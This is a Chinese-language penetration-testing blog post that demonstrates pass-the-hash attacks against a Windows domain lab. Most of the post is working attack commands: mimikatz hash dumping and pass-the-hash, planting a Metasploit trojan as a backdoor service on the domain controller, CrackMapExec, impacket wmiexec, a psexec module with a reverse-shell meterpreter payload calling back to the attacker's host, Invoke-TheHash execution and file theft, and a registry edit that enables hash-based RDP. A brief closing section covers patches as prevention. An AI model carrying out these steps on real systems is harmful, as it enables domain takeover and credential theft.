内网渗透|谈谈HASH传递那些世人皆知的事

admin 2021年12月3日11:40:44评论255 views字数 7726阅读25分45秒阅读模式
内网渗透|谈谈HASH传递那些世人皆知的事
maxresdefault

前言

Pass The Hash 即哈希传递攻击,简称 PTH,该攻击方法通过找到与账户相关的密码散列值 NTLM Hash 来进行攻击的。由于在 Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候,是不需要用户明文密码的,只需要用户 Hash。攻击者可以利用 NTLM HASH 直接远程登录目标主机或反弹 Shell。

在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域环境或工作组环境。

哈希传递攻击

下面,我们以下图所示的环境来具体演示哈希传递攻击(PTH)的方法。

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711143331900

如图中,右侧是一个内网环境,域名为whoamianony.org,有两台主要的机器:域成员主机 Windows 7 和域控制器 Windows Server 2012,其中攻击者已经拿下了内网中的 Windows 7,接下来我们尝试通过哈希传递的方法获取 Windows Server 2012 的控制权。

使用 Mimikatz 进行 PTH

下面演示哈希传递攻击的方法(需要管理员权限):

首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:

privilege::debugsekurlsa::logonpasswords
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711115055569

如上图所示,成功抓取到域管理员的 NTLM Hash 为:ab89b1295e69d353dd7614c7a3a80cec

然后,在 Windows 7 上用 mimikatz 将获取的 Administrator 的 Hash 添加进 lsass 进程中:

privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711115402017

成功,此时会自动弹出一个新的cmd窗口,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器 DC 的c盘目录:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711115654372

为了简洁,上述的操作可以用以下一句话命令代替:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe" 

此时,为了让域控制器 DC 上线 Metasploit,我们只需做以下工作。

生成一个msf木马shell.exe,将shell.exe上传到Windows 7主机,然后直接使用 copy 命令将shell.exe复制到域控上:

copy shell.exe \DC.whoamianony.orgc$    // 将 shell.exe 复制到域控主机上
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711123454537
sc \DC.whoamianony.org create backdoor binpath= "c:shell.exe"// 在域控上创建服务启动木马sc \DC.whoamianony.org start backdoor     // 在域控上立即启动该服务sc \DC.whoamianony.org delete backdoor     // 在域控上立即删除该服务
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711122041394

此时虽然显示 1053 错误,但是如下图所示,域控制器成功上线,并且还是 SYSTEM 权限:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711123142055

注意,哈希传递攻击要注意一下几点:

dir命令后面要使用主机名,不能用 IP,否则报错使用 mimikatz 进行哈希传递要具有本地管理员权限

使用 Crackmapexec 进行 PTH

该工具位于kali上面,其可以对C段主机批量进行PTH攻击。

下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

在kali上直接用apt-get就可以安装:

apt-get install crackmapexec

对内网主机进行PTH的命令如下:

crackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoamicrackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig

IP:可以是单个IP也可以是IP段-u:指定用户名-H:指定NTLM Hash-d:指定域-x:执行系统命令

如下图所示,成功在 DC 主机上执行命令:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711123730400
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711123841440

利用 wmiexec 进行 PTH

项目地址:https://github.com/SecureAuthCorp/impacket

这是 impacket 工具包里面的一个脚本,可以用来 PTH,同时可以走 socks4/5 代理,十分强大。

首先在攻击机上安装 Impacket 工具包:

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/pip install .

进入 examples 目录即可找到我们的 wmiexec.py,然后执行以下命令即可:

python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.129"whoami"# (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"

使用 Metasploit 进行 PTH

经常使用的三个模块:

auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令              exploit/windows/smb/psexec            // 用psexec执行系统命令         exploit/windows/smb/psexec_psh         // 使用powershell作为payload

这三个模块的使用方法相同,这里以exploit/windows/smb/psexec模块哈希传递攻击域控制器 DC 为例:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711122300294

需要设置以下选项:

use exploit/windows/smb/psexecset rhosts 192.168.93.30set smbuser administratorset smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec  # 完整的Administrator用户的Hashset smbdomain whoamianonyset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.93.129set lport 4444exploit

注意这里的 smbpass 选项,其可以为明文密码,也可以为密码哈希,但是哈希值必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。

如下图所示,攻击成功,域控成功上线,并且是 SYSTEM 权限:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711122930675

利用 PowerShell 进行 PTH

项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash 项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。Invoke-TheHash 项目中内含如下多个脚本:

Invoke-WMIExec.ps1    Invoke-SMBExec.ps1    Invoke-SMBEnum.ps1    Invoke-SMBClient.ps1    Invoke-TheHash.ps1

其可以执行 WMI 和 SMB 命令,并对内网主机批量进行哈希传递攻击。

使用 Invoke-SMBExec 脚本

该脚本通过 SMB 在目标主机创建服务来执行命令,该脚本执行命令没有回显,我们可以用它执行一些木马程序。如下所示,我们通过 Invoke-SMBExec 脚本进行哈希传递,在域控制器上执行之前上传的 shell.exe:

Import-Module.Invoke-SMBExec.ps1Invoke-SMBExec-Target192.168.93.30-Domain whoamianony -Username administrator -Hash00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command"c:shell.exe"-verbose
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711130825011

成功执行 shell.exe,域控上线成功:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711131101799

使用 Invoke-TheHash 脚本

Invoke-TheHash 脚本可以用来通过哈希传递在远程主机上执行 WMI 和 SMB 命令。

Import-Module.Invoke-WMIExec.ps1    # 首先需要加载先加载Invoke-WMIExec.ps1脚本Import-Module.Invoke-TheHash.ps1    # 然后再加载Invoke-TheHash.ps1脚本Invoke-TheHash-TypeWMIExec-Target192.168.93.1/24-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command"c:shell.exe"-verbose

-Target:目标主机名或IP地址/段。-Username:用于身份验证的用户名。-Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。-Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。****-Command:**在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。

注意使用的时候需要先加载 Invoke-WMIExec.ps1 脚本,然后再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec 方法。

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711132631992
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711132713998

成功在域控(192.168.52.138)上执行了 shell.exe,域控成功上线:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711132820414

使用 Invoke-SMBClient 脚本

该脚本支持SMB1,SMB2,SMB signing,如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。

使用以下命令可以成功列举出域控制器上的共享文件:

Import-Module.Invoke-SMBClient.ps1Invoke-SMBClient-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \DC.whoamianony.orgc$ -verbose# Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \servershare -verbose    查看远程主机共享目录
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711133653201

还有以下几种操作:

Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionDelete-Source \serversharefile.txt    # 删除远程主机上指定的共享文件Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionGet-Source \serversharefile.txt    # 在远程主机上下载指定的共享文件Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionPut-Source file.exe -Destination \serversharesubdirectoryfile.exe    # 向远程主机的共享目录中上传指定的文件

利用哈希传递登录 RDP 远程桌面

在内网渗透中,如果获得了某个用户的 NTLM 哈希,我们不仅可以尝试使用哈希传递的方法对WMI和SMB服务进行登录,对于远程桌面服务我们同样可以利用哈希传递进行远程登录。

借助 Restricted Admin Mode 进行哈希传递登录 RDP

适用系统:

Windows 8.1和Windows Server 2012 R2默认支持该功能Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员” (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。

在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 "Restricted Admin Mode" 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。

我们在渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:

REG ADD "HKLMSystemCurrentControlSetControlLsa"/v DisableRestrictedAdmin/t REG_DWORD /d 00000000/fREG query "HKLMSystemCurrentControlSetControlLsa"| findstr "DisableRestrictedAdmin"# 查看是否成功开启
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210711134022254

如上图所示,成功在目标主机开启了 Restricted Admin Mode。

然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行 mstsc.exe /restrictedadmin 来打开远程桌面:

privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210523184624546

报错了,说 CredSSP 加密数据库错误,大概是因为 Windows 10 家庭版的原因吧。然后更换了另一个版本的 Windows 成功了:

内网渗透|谈谈HASH传递那些世人皆知的事
image-20210523185719744
内网渗透|谈谈HASH传递那些世人皆知的事
image-20210523185853999

注意,这里的受限管理员模式顾名思义只对管理员组有效。所以如果你获取到的用户属于远程桌面用户组,那么是无法通过 Hash 登录的。

哈希传递攻击的预防

微软在2014年5月发布了 KB2871997 和 KB2928120 两个补丁。KB2871997是针对PTH攻击的,这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。

但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的 Administrator(SID 500)帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。

内网渗透|谈谈HASH传递那些世人皆知的事

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗内网渗透|谈谈HASH传递那些世人皆知的事

往期文章有彩蛋哦内网渗透|谈谈HASH传递那些世人皆知的事

内网渗透|谈谈HASH传递那些世人皆知的事

一如既往的学习,一如既往的整理,一如即往的分享。内网渗透|谈谈HASH传递那些世人皆知的事

如侵权请私聊公众号删文


本文始发于微信公众号(渗透Xiao白帽):内网渗透|谈谈HASH传递那些世人皆知的事

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月3日11:40:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透|谈谈HASH传递那些世人皆知的事http://cn-sec.com/archives/442095.html

发表评论

匿名网友 填写信息